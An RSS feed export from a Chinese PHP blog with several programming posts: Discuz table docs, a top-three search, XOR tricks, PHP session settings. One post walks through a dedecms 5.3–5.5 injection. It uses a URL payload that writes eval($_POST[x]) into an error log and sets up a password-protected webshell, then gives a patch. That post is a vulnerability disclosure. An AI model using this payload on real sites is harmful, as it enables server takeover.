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	<title>小恒的博客 &#187; php</title>
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		<item>
		<title>Discuz!X1.5 数据表结构说明</title>
		<link>http://www.henghome.com/archives/654</link>
		<comments>http://www.henghome.com/archives/654#comments</comments>
		<pubDate>Sat, 12 Feb 2011 06:23:03 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

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		<description><![CDATA[经过一个星期的整理，终于将 DiscuzX1.5 的 198个数据表整理出来了，旨在为学习和使用 Discuz!X1.5 系统和开发基于 Discuz!X1.5 系统插件的朋友提供一个参考。 由于我的能力有限，难免会有错误之处，敬请指正。  PS：DZ 在开发文档开放方面没有 PW 做的好。  在线手册 CHM下载 &#60;!-- JiaThis Button BEGIN --&#62; &#60;style type=&#34;text/css&#34;&#62; #ckepop a:hover { color:red; background-color:#0063DC; } &#60;/style&#62; &#60;div id=&#34;ckepop&#34;&#62; &#60;a href=&#34;http://www.jiathis.com/share/&#34; class=&#34;jiathis_txt&#34; target=&#34;_blank&#34;&#62;分享到：&#60;/a&#62; &#60;a class=&#34;jiathis_button_tqq&#34;&#62;腾讯微博&#60;/a&#62; &#60;a class=&#34;jiathis_button_tsina&#34;&#62;新浪微博&#60;/a&#62; &#60;a class=&#34;jiathis_button_qzone&#34;&#62;QQ空间&#60;/a&#62; &#60;a class=&#34;jiathis_button_hi&#34;&#62;百度空间&#60;/a&#62; &#60;a class=&#34;jiathis_button_kaixin001&#34;&#62;开心网&#60;/a&#62; &#60;a class=&#34;jiathis_button_renren&#34;&#62;人人网&#60;/a&#62; &#60;a class=&#34;jiathis_button_xiaoyou&#34;&#62;QQ校友&#60;/a&#62; &#60;a href=&#34;http://www.jiathis.com/share/?uid=89488&#34; class=&#34;jiathis jiathis_txt jtico jtico_jiathis&#34; [...]]]></description>
			<content:encoded><![CDATA[<p>经过一个星期的整理，终于将 DiscuzX1.5 的 198个数据表整理出来了，旨在为学习和使用 Discuz!X1.5 系统和开发基于 Discuz!X1.5 系统插件的朋友提供一个参考。</p>
<p>由于我的能力有限，难免会有错误之处，敬请指正。 </p>
<p>PS：DZ 在开发文档开放方面没有 PW 做的好。</p>
<p> <a href="http://www.henghome.com/dzx/" target="_blank">在线手册</a></p>
<p><a href="http://www.discuz.net/thread-2051314-1-1.html" target="_blank">CHM下载</a></p>
<p><a href="http://www.henghome.com/wp-content/uploads/2011/02/dzx1.5.jpg" target="_blank"><img class="aligncenter size-thumbnail wp-image-655" title="dzx1.5" src="http://www.henghome.com/wp-content/uploads/2011/02/dzx1.5-150x150.jpg" alt="" width="150" height="150" /></a></p>
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		</item>
		<item>
		<title>100万个数字里找出最大的3个数字</title>
		<link>http://www.henghome.com/archives/542</link>
		<comments>http://www.henghome.com/archives/542#comments</comments>
		<pubDate>Sat, 18 Dec 2010 08:24:09 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=542</guid>
		<description><![CDATA[&#60;?php // 生成100万个数字 $array &#160;= array&#40;&#41;; for &#40;$i = 0; $i &#60; 1000000; $i++&#41; &#123; &#160; &#160; $array&#91;$i&#93; = 1000000 - $i; // 最好的情况 最大的3个数字在前3个 &#160; &#160; // $array[$i] = $i; // 最坏的情况 最大的3个数字在后3个 &#125; &#160; // 声明数组 $result = array&#40;0, 0 ,0&#41;; &#160; // 开始遍历查找 foreach &#40;$array as $i =&#62; $value&#41; &#123; &#160; &#160; [...]]]></description>
			<content:encoded><![CDATA[<div class="geshi no php">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">&lt;?php</span></div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// 生成100万个数字</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$array</span> &nbsp;<span class="sy0">=</span> <span class="kw3">array</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">for</span> <span class="br0">&#40;</span><span class="re1">$i</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span> <span class="re1">$i</span> <span class="sy0">&lt;</span> <span class="nu0">1000000</span><span class="sy0">;</span> <span class="re1">$i</span><span class="sy0">++</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re1">$array</span><span class="br0">&#91;</span><span class="re1">$i</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="nu0">1000000</span> <span class="sy0">-</span> <span class="re1">$i</span><span class="sy0">;</span> <span class="co1">// 最好的情况 最大的3个数字在前3个</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="co1">// $array[$i] = $i; // 最坏的情况 最大的3个数字在后3个</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// 声明数组</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$result</span> <span class="sy0">=</span> <span class="kw3">array</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="sy0">,</span> <span class="nu0">0</span> <span class="sy0">,</span><span class="nu0">0</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">// 开始遍历查找</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">foreach</span> <span class="br0">&#40;</span><span class="re1">$array</span> <span class="kw1">as</span> <span class="re1">$i</span> <span class="sy0">=&gt;</span> <span class="re1">$value</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re1">$array</span><span class="br0">&#91;</span><span class="re1">$i</span><span class="br0">&#93;</span> <span class="sy0">&gt;</span> <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// 与第3位数字对比</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$temp</span> <span class="sy0">=</span> <span class="re1">$array</span><span class="br0">&#91;</span><span class="re1">$i</span><span class="br0">&#93;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$array</span><span class="br0">&#91;</span><span class="re1">$i</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="re1">$temp</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">&gt;</span> <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// 与第2位数字对比</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$temp</span> <span class="sy0">=</span> <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="re1">$temp</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">&gt;</span> <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// 与第1位数字对比</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$temp</span> <span class="sy0">=</span> <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re1">$result</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="re1">$temp</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/**</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* 结果</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* Array ( [0] =&gt; 1000000 [1] =&gt; 999999 [2] =&gt; 999998 ) </span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">print_r</span><span class="br0">&#40;</span><span class="re1">$result</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
</ol>
</div>
<p>看xdebug的结果在最好情况下耗时1秒左右：<br />
<a href="http://www.henghome.com/wp-content/uploads/2010/12/good.jpg" target="_blank"><img src="http://www.henghome.com/wp-content/uploads/2010/12/good.jpg" alt="" title="good" width="311" height="174" class="aligncenter size-full wp-image-551" /></a><br />
最坏情况耗时3秒左右：<br />
<a href="http://www.henghome.com/wp-content/uploads/2010/12/bad.jpg" target="_blank"><img src="http://www.henghome.com/wp-content/uploads/2010/12/bad.jpg" alt="" title="bad" width="317" height="158" class="aligncenter size-full wp-image-552" /></a></p>
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		</item>
		<item>
		<title>求2个整数的二进制表示中有多少位是不同的</title>
		<link>http://www.henghome.com/archives/536</link>
		<comments>http://www.henghome.com/archives/536#comments</comments>
		<pubDate>Mon, 06 Dec 2010 09:06:51 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=536</guid>
		<description><![CDATA[给定两个正整数（二进制形式表示）A和B，问把A变为B需要改变多少位（bit）？ 也就是说，整数A 和B 的二进制表示中有多少位是不同的？ 先异或A和B得结果C，在统计结果C的二进制中有多少位1，即求到了A和B的二进制中有多少不同的位N。 &#60;?php $n = 0; $a = 10; $b = 20; $c = $a ^ $b; &#160; echo &#39;A：&#39; . str_pad&#40;decbin&#40;$a&#41;, 8, 0, STR_PAD_LEFT&#41; . &#39;&#60;br /&#62;&#39;; echo &#39;B：&#39; . str_pad&#40;decbin&#40;$b&#41;, 8, 0, STR_PAD_LEFT&#41; . &#39;&#60;br /&#62;&#39;; echo &#39;C：&#39; . str_pad&#40;decbin&#40;$c&#41;, 8, 0, STR_PAD_LEFT&#41; . &#39;&#60;br /&#62;&#39;; while &#40;$c&#41; &#123;     [...]]]></description>
			<content:encoded><![CDATA[<p>给定两个正整数（二进制形式表示）A和B，问把A变为B需要改变多少位（bit）？<br />
也就是说，整数A 和B 的二进制表示中有多少位是不同的？</p>
<p>先异或A和B得结果C，在统计结果C的二进制中有多少位1，即求到了A和B的二进制中有多少不同的位N。</p>
<div class="geshi no php">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">&lt;?php</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$n</span> <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$a</span> <span class="sy0">=</span> <span class="nu0">10</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$b</span> <span class="sy0">=</span> <span class="nu0">20</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re1">$c</span> <span class="sy0">=</span> <span class="re1">$a</span> ^ <span class="re1">$b</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&#39;A：&#39;</span> <span class="sy0">.</span> <span class="kw3">str_pad</span><span class="br0">&#40;</span><span class="kw3">decbin</span><span class="br0">&#40;</span><span class="re1">$a</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="nu0">8</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> STR_PAD_LEFT<span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st0">&#39;&lt;br /&gt;&#39;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&#39;B：&#39;</span> <span class="sy0">.</span> <span class="kw3">str_pad</span><span class="br0">&#40;</span><span class="kw3">decbin</span><span class="br0">&#40;</span><span class="re1">$b</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="nu0">8</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> STR_PAD_LEFT<span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st0">&#39;&lt;br /&gt;&#39;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&#39;C：&#39;</span> <span class="sy0">.</span> <span class="kw3">str_pad</span><span class="br0">&#40;</span><span class="kw3">decbin</span><span class="br0">&#40;</span><span class="re1">$c</span><span class="br0">&#41;</span><span class="sy0">,</span> <span class="nu0">8</span><span class="sy0">,</span> <span class="nu0">0</span><span class="sy0">,</span> STR_PAD_LEFT<span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st0">&#39;&lt;br /&gt;&#39;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span> <span class="br0">&#40;</span><span class="re1">$c</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">    <span class="re1">$c</span> <span class="sy0">&amp;</span>amp<span class="sy0">;=</span> <span class="br0">&#40;</span><span class="re1">$c</span> <span class="sy0">-</span> <span class="nu0">1</span><span class="br0">&#41;</span><span class="sy0">;</span></div>
</li>
<li class="li1">
<div class="de1">    <span class="re1">$n</span><span class="sy0">++;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&#39;N：&#39;</span> <span class="sy0">.</span> <span class="re1">$n</span> <span class="sy0">.</span> <span class="st0">&#39;&lt;br /&gt;&#39;</span><span class="sy0">;</span></div>
</li>
</ol>
</div>
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		</item>
		<item>
		<title>dedecms注入漏洞 影响版本5.3 &#8211; 5.5</title>
		<link>http://www.henghome.com/archives/356</link>
		<comments>http://www.henghome.com/archives/356#comments</comments>
		<pubDate>Mon, 10 Aug 2009 13:17:41 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=356</guid>
		<description><![CDATA[dedecms5.3和5.5系列版本存在重大注入漏洞，请注意以下操作有攻击性，仅供研究。利用此漏洞进行违法活动者，后果自负。 假设域名是：www.abc.com 攻击步骤如下： 1. 访问网址： http://www.abc.com/plus/digg_frame.php?action=good&#038;id=1024%651024&#038;mid=*/eval($_POST[x]);var_dump(3);?&#62; 可看见以下错误信息 2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。 int(3) Error: Illegal double '1024e1024' value found during parsing Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?&#62; 3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是 &#60;form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”&#62; 按确定后的看到第2步骤的信息表示文件木马上传成功。 木马网址：http://www.abc.com/data/a.php  密码：2006888 漏洞分析： 利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。 解决方案： 打开文件 include/dedesql.class.php 找到代码 替换代码 清空 data/mysql_error_trace.php [...]]]></description>
			<content:encoded><![CDATA[<p>dedecms5.3和5.5系列版本存在重大注入漏洞，请注意以下操作有攻击性，仅供研究。利用此漏洞进行违法活动者，后果自负。</p>
<p>假设域名是：<a href="http://www.abc.com">www.abc.com</a> 攻击步骤如下：<br />
1. 访问网址：</p>
<p>http://www.abc.com/plus/digg_frame.php?action=good&#038;id=1024%651024&#038;mid=*/eval($_POST[x]);var_dump(3);?&gt;</p>
<p>可看见以下错误信息</p>
<div id="attachment_357" class="wp-caption aligncenter" style="width: 605px"><a href="http://www.henghome.com/wp-content/uploads/2009/08/dede_1.jpg" target="_blank"><img class="size-full wp-image-357" title="注入成功" src="http://www.henghome.com/wp-content/uploads/2009/08/dede_1.jpg" alt="注入成功" width="595" height="246" /></a><p class="wp-caption-text">注入成功</p></div>
<p><span id="more-356"></span><br />
2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。<br />
<code lang='sql'>int(3) Error: Illegal double '1024e1024' value found during parsing<br />
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?&gt; </code></p>
<p>3. 执行<a href="http://www.henghome.com/dede.rar" target="_blank">dede.rar</a>里的文件 test.html，注意 form 中 action 的地址是</p>
<p>&lt;form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”&gt;</p>
<p>按确定后的看到第2步骤的信息表示文件木马上传成功。</p>
<p>木马网址：<a href="http://www.abc.com/data/a.php">http://www.abc.com/data/a.php</a> <br />
密码：2006888</p>
<p>漏洞分析：<br />
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。</p>
<p><span style="color: #008000;">解决方案：</span></p>
<p><span style="color: #008000;">打开文件 include/dedesql.class.php</span><br />
找到代码<br />
<code lang='php'><br />
<?php<br />
@fwrite($fp, '&lt;'.'?php'."\r\n/*\r\n{$savemsg}\r\n*/\r\n?"."&gt;\r\n");<br />
?><br />
</code><br />
替换代码<br />
<code lang='php'><br />
<?php<br />
@fwrite($fp, '&lt;'.'?php'."\r\nexit;\r\n/*\r\n{$savemsg}\r\n*/\r\n?"."&gt;\r\n");<br />
?><br />
</code><br />
<span style="color: #008000;">清空 data/mysql_error_trace.php 文件内容</span></p>
<div style=float:left>&lt;!-- JiaThis Button BEGIN --&gt;
&lt;style type=&quot;text/css&quot;&gt;
#ckepop a:hover {
    color:red;
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&lt;/style&gt;
&lt;div id=&quot;ckepop&quot;&gt;
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		</item>
		<item>
		<title>不使用第三方变量交换两个变量的值</title>
		<link>http://www.henghome.com/archives/237</link>
		<comments>http://www.henghome.com/archives/237#comments</comments>
		<pubDate>Tue, 10 Mar 2009 08:36:36 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=237</guid>
		<description><![CDATA[用位运算中的异或运算 [code lang="php"] $a = 888; $b = 999; echo "交换前：\$a = {$a}; \$b = {$b};"; $b = $a ^ $b; $a = $a ^ $b; $b = $a ^ $b; echo "交换后：\$a = {$a}; \$b = {$b};"; [/code] 此算法能够实现是由异或运算的特点决定的，通过异或运算能够把 $a 和 $b 中不同的位设为 1 。这就意味着任意一个数与任意一个给定的值连续异或两次，值不变。 详细运算过程： $a = 888; $b = 999; 没有异或： $a [...]]]></description>
			<content:encoded><![CDATA[<p>用位运算中的异或运算</p>
<p>[code lang="php"]<br />
$a = 888;<br />
$b = 999;</p>
<p>echo "交换前：\$a = {$a}; \$b = {$b};";<br />
$b = $a ^ $b;<br />
$a = $a ^ $b;<br />
$b = $a ^ $b;<br />
echo "交换后：\$a = {$a}; \$b = {$b};";<br />
[/code]</p>
<p>此算法能够实现是由异或运算的特点决定的，通过异或运算能够把 $a 和 $b 中不同的位设为 1 。这就意味着任意一个数与任意一个给定的值连续异或两次，值不变。</p>
<p>详细运算过程：<br />
$a = 888;<br />
$b = 999;</p>
<p>没有异或：<br />
$a 的二进制是 1101111000<br />
$b 的二进制是 1111100111</p>
<p>第一次按位异或：$b = $a ^ $b;<br />
1101111000<br />
1111100111<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
0010011111</p>
<p>$a 的二进制是 1101111000<br />
$b 的二进制是 0010011111<br />
第二次按位异或：$a = $a ^ $b<br />
0010011111<br />
1101111000<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
1111100111</p>
<p>$a 的二进制是 1111100111<br />
$b 的二进制是 0010011111<br />
第三次按位异或：$b = $a ^ $b<br />
1111100111<br />
0010011111<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
1101111000</p>
<p>$a 的二进制是 1111100111<br />
$b 的二进制是 1101111000</p>
<p>成功交换变量的值</p>
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&lt;style type=&quot;text/css&quot;&gt;
#ckepop a:hover {
    color:red;
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		</item>
		<item>
		<title>用最少的代码写一个求3值最大值的函数</title>
		<link>http://www.henghome.com/archives/234</link>
		<comments>http://www.henghome.com/archives/234#comments</comments>
		<pubDate>Mon, 09 Mar 2009 01:14:15 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=234</guid>
		<description><![CDATA[我觉得这道题不是简单在考三元运算符，主要还是在考程序员在写函数时有没有考虑到函数的可扩展性。 [code lang="php"]]]></description>
			<content:encoded><![CDATA[<p>我觉得这道题不是简单在考三元运算符，主要还是在考程序员在写函数时有没有考虑到函数的可扩展性。<br />
[code lang="php"]<br />
<?php<br />
$a = 1;<br />
$b = 2;<br />
$c = 3;<br />
echo my_max($a, $b, $c);</p>
<p>function my_max()<br />
{<br />
	$max  = 0;<br />
	$args = func_get_args();</p>
<p>	foreach ($args as $nums) {<br />
		$max = (is_numeric($nums) &#038;&#038; $max < $nums) ? $nums : $max;<br />
	}</p>
<p>	return $max;<br />
}<br />
[/code]</p>
<div style=float:left>&lt;!-- JiaThis Button BEGIN --&gt;
&lt;style type=&quot;text/css&quot;&gt;
#ckepop a:hover {
    color:red;
    background-color:#0063DC;
}
&lt;/style&gt;
&lt;div id=&quot;ckepop&quot;&gt;
    &lt;a href=&quot;http://www.jiathis.com/share/&quot; class=&quot;jiathis_txt&quot; target=&quot;_blank&quot;&gt;分享到：&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_tqq&quot;&gt;腾讯微博&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_tsina&quot;&gt;新浪微博&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_qzone&quot;&gt;QQ空间&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_hi&quot;&gt;百度空间&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_kaixin001&quot;&gt;开心网&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_renren&quot;&gt;人人网&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_xiaoyou&quot;&gt;QQ校友&lt;/a&gt;
	&lt;a href=&quot;http://www.jiathis.com/share/?uid=89488&quot; class=&quot;jiathis jiathis_txt jtico jtico_jiathis&quot; target=&quot;_blank&quot;&gt;更多...&lt;/a&gt;
&lt;/div&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://v2.jiathis.com/code/jia.js?uid=89488&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
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		</item>
		<item>
		<title>禁用 COOKIE 后 SESSION 还能用吗？</title>
		<link>http://www.henghome.com/archives/231</link>
		<comments>http://www.henghome.com/archives/231#comments</comments>
		<pubDate>Sat, 07 Mar 2009 02:57:38 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=231</guid>
		<description><![CDATA[   我实际操作下了，能不能用要根据 php.ini 对 SESSION 的配置情况    php.ini 中 SESSION 的配置       session.use_only_cookies = 0; // 关闭仅使用cookies存放会话id       session.use_trans_sid = 1; // 允许SessionID通过URL明文传输    在这种情况下SESSION是可以使用的，服务器端会自动在地址后面附加PHPSESSIONID参数。    示例：http://www.henghome.com/test.php?PHPSESSIONID=4refrie2ot5kk73nkgpnbjgg37    php.ini 中 SESSION 的配置       session.use_only_cookies = 1; // 开启仅使用cookies存放会话id       session.use_trans_sid = 1; // 允许SessionID通过URL明文传输    在这种情况下虽然已经允许了SessionID通过URL明文传输，担是同时又开启了仅使用cookies存放会话SessionID，所以在URL中明文传输的PHPSESSIONID参数值是无效的，SESSION 不能用。    php.ini 中 SESSION 的配置       session.use_trans_sid = [...]]]></description>
			<content:encoded><![CDATA[<p>   我实际操作下了，能不能用要根据 php.ini 对 SESSION 的配置情况</p>
<p>   php.ini 中 SESSION 的配置<br />
      session.use_only_cookies = 0; // 关闭仅使用cookies存放会话id<br />
      session.use_trans_sid = 1; // 允许SessionID通过URL明文传输<br />
   在这种情况下SESSION是可以使用的，服务器端会自动在地址后面附加PHPSESSIONID参数。<br />
   示例：http://www.henghome.com/test.php?PHPSESSIONID=4refrie2ot5kk73nkgpnbjgg37</p>
<p>   php.ini 中 SESSION 的配置<br />
      session.use_only_cookies = 1; // 开启仅使用cookies存放会话id<br />
      session.use_trans_sid = 1; // 允许SessionID通过URL明文传输<br />
   在这种情况下虽然已经允许了SessionID通过URL明文传输，担是同时又开启了仅使用cookies存放会话SessionID，所以在URL中明文传输的PHPSESSIONID参数值是无效的，SESSION 不能用。</p>
<p>   php.ini 中 SESSION 的配置<br />
      session.use_trans_sid = 0; // 禁止SessionID通过URL方式明文传输<br />
   SESSION 不能用， 这是最这安全的做法，也是 php.ini 的默认配置</p>
<div style=float:left>&lt;!-- JiaThis Button BEGIN --&gt;
&lt;style type=&quot;text/css&quot;&gt;
#ckepop a:hover {
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    &lt;a href=&quot;http://www.jiathis.com/share/&quot; class=&quot;jiathis_txt&quot; target=&quot;_blank&quot;&gt;分享到：&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_tqq&quot;&gt;腾讯微博&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_tsina&quot;&gt;新浪微博&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_qzone&quot;&gt;QQ空间&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_hi&quot;&gt;百度空间&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_kaixin001&quot;&gt;开心网&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_renren&quot;&gt;人人网&lt;/a&gt;
	&lt;a class=&quot;jiathis_button_xiaoyou&quot;&gt;QQ校友&lt;/a&gt;
	&lt;a href=&quot;http://www.jiathis.com/share/?uid=89488&quot; class=&quot;jiathis jiathis_txt jtico jtico_jiathis&quot; target=&quot;_blank&quot;&gt;更多...&lt;/a&gt;
&lt;/div&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;http://v2.jiathis.com/code/jia.js?uid=89488&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;!-- JiaThis Button END --&gt;</div>]]></content:encoded>
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		<item>
		<title>ZendOptimizer-3.3.0 绿色版</title>
		<link>http://www.henghome.com/archives/205</link>
		<comments>http://www.henghome.com/archives/205#comments</comments>
		<pubDate>Fri, 16 Jan 2009 02:13:34 +0000</pubDate>
		<dc:creator>小 恒</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[原创]]></category>

		<guid isPermaLink="false">http://www.henghome.com/?p=205</guid>
